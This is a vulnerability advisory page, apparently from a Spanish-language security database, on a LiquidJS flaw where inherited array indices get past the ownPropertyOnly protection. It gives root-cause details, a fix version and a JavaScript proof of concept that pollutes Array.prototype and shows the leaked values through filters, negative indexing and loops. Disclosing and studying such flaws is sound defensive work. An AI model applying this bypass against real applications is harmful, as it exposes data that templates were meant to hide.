Media

LiquidJS: ownPropertyOnly bypass for inherited array indices in first/last/join/reverse/slice/compact, `.first`/`.last`, negative index, and for-loop iteration

  • Publicada: 07.10.2026
  • Actualizado: 11.10.2026 10:22

Summary

LiquidJS’s ownPropertyOnly option is intended to prevent templates from reading inherited or prototype properties from scope data. With ownPropertyOnly: true, direct access such as:

liquid
{{ a[0] }}

correctly blocks an inherited array index. However, the same inherited value is still disclosed through:

.first
.last
negative indexing
for-loop iteration
first
last
join
reverse
slice
compact

Impact

This is an information disclosure issue when an application relies on ownPropertyOnly: true to safely render templates over untrusted or prototype-polluted scope data.

Object prototype property reads are blocked as expected, but inherited Array.prototype index reads are not consistently blocked. An attacker who can influence prototype state or inherited array-index data may cause templates to disclose values that ownPropertyOnly is expected to hide.

Proof of concept

js
const { Liquid } = require("liquidjs");

const engine = new Liquid({ ownPropertyOnly: true });

Array.prototype[0] = "ARRAY_PROTO_POLLUTED";
Object.prototype.secret = "OBJECT_PROTO_POLLUTED";

const a = [];
a.length = 1;

const o = {};

for (const [src, scope] of [
  ["{{ a[0] }}", { a }],
  ["{{ a[-1] }}", { a }],
  ["{{ o.secret }}", { o }],
  ["{{ a.first }}", { a }],
  ["{{ a.last }}", { a }],
  ["{{ a | first }}", { a }],
  ["{{ a | last }}", { a }],
  ["{{ a | join: ',' }}", { a }],
  ["{{ a | reverse | first }}", { a }],
  ["{{ a | slice: 0, 1 | join: ',' }}", { a }],
  ["{{ a | compact | join: ',' }}", { a }],
  ["{% for x in a %}[{{ x }}]{% endfor %}", { a }],
]) {
  console.log(src, "=>", JSON.stringify(engine.parseAndRenderSync(src, scope)));
}

delete Array.prototype[0];
delete Object.prototype.secret;

Observed behavior

{{ a[0] }}                                  => ""
{{ a[-1] }}                                 => "ARRAY_PROTO_POLLUTED"
{{ o.secret }}                              => ""
{{ a.first }}                               => "ARRAY_PROTO_POLLUTED"
{{ a.last }}                                => "ARRAY_PROTO_POLLUTED"
{{ a | first }}                             => "ARRAY_PROTO_POLLUTED"
{{ a | last }}                              => "ARRAY_PROTO_POLLUTED"
{{ a | join: ',' }}                         => "ARRAY_PROTO_POLLUTED"
{{ a | reverse | first }}                   => "ARRAY_PROTO_POLLUTED"
{{ a | slice: 0, 1 | join: ',' }}           => "ARRAY_PROTO_POLLUTED"
{{ a | compact | join: ',' }}               => "ARRAY_PROTO_POLLUTED"
{% for x in a %}[{{ x }}]{% endfor %}       => "[ARRAY_PROTO_POLLUTED]"

Expected behavior

When ownPropertyOnly: true is enabled, inherited array indices should be treated as absent, matching the behavior of:

liquid
{{ a[0] }}
{{ o.secret }}

Inherited or prototype-provided array-index values should not be exposed through array filters, array properties, negative indexing, or loop iteration.

Root cause

ownPropertyOnly appears to be enforced in readJSProperty(), but several array-element access paths use raw or native array operations instead.

Examples include:

negative indexing using obj[obj.length + key]
readFirst/readLast using obj[0] / obj[obj.length - 1]
filters such as first, last, join, reverse, slice, and compact operating on arrays through native element reads
for-loop iteration materializing inherited array indices

Because these paths do not consistently check whether an array index is an own property, inherited array indices can be read even when ownPropertyOnly is enabled.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm liquidjs < 10.27.2 10.27.2

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Debilidad (CWE)
CWE-200
Plataforma
npm
Paquete
liquidjs
Publicada
07.10.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-fwxr-j5w2-587m - CC BY 4.0

Historial de vulnerabilidades: liquidjs

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (19) en el archivo
Entradas en total
19
Primera → última
12.2022 10.2026
Sin corrección
6
Explotada en ataques
0

Distribución por gravedad

  • Crítica 1
  • Alta 10
  • Media 7
  • Baja 1

Divulgaciones por año

  1. 2022: 1
  2. 2023: 0
  3. 2024: 0
  4. 2025: 0
  5. 2026: 18
Gravedad:
  1. LiquidJS: ownPropertyOnly bypass for inherited array indices in first/last/join/reverse/slice/compact, `.first`/`.last`, negative index, and for-loop iteration esta entrada
    Media CVE-2026-106120 < 10.27.2 10.27.2
  2. Alta CVE-2026-61556 >= 10.26.0, < 10.27.1 10.27.1
  3. Crítica · 10.0 CVE-2026-45618 < 10.26.0 10.26.0
  4. Alta · 7.5 CVE-2026-33285 <= 10.24.0 sin corrección
  5. Alta CVE-2026-30952 < 10.25.0 10.25.0

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.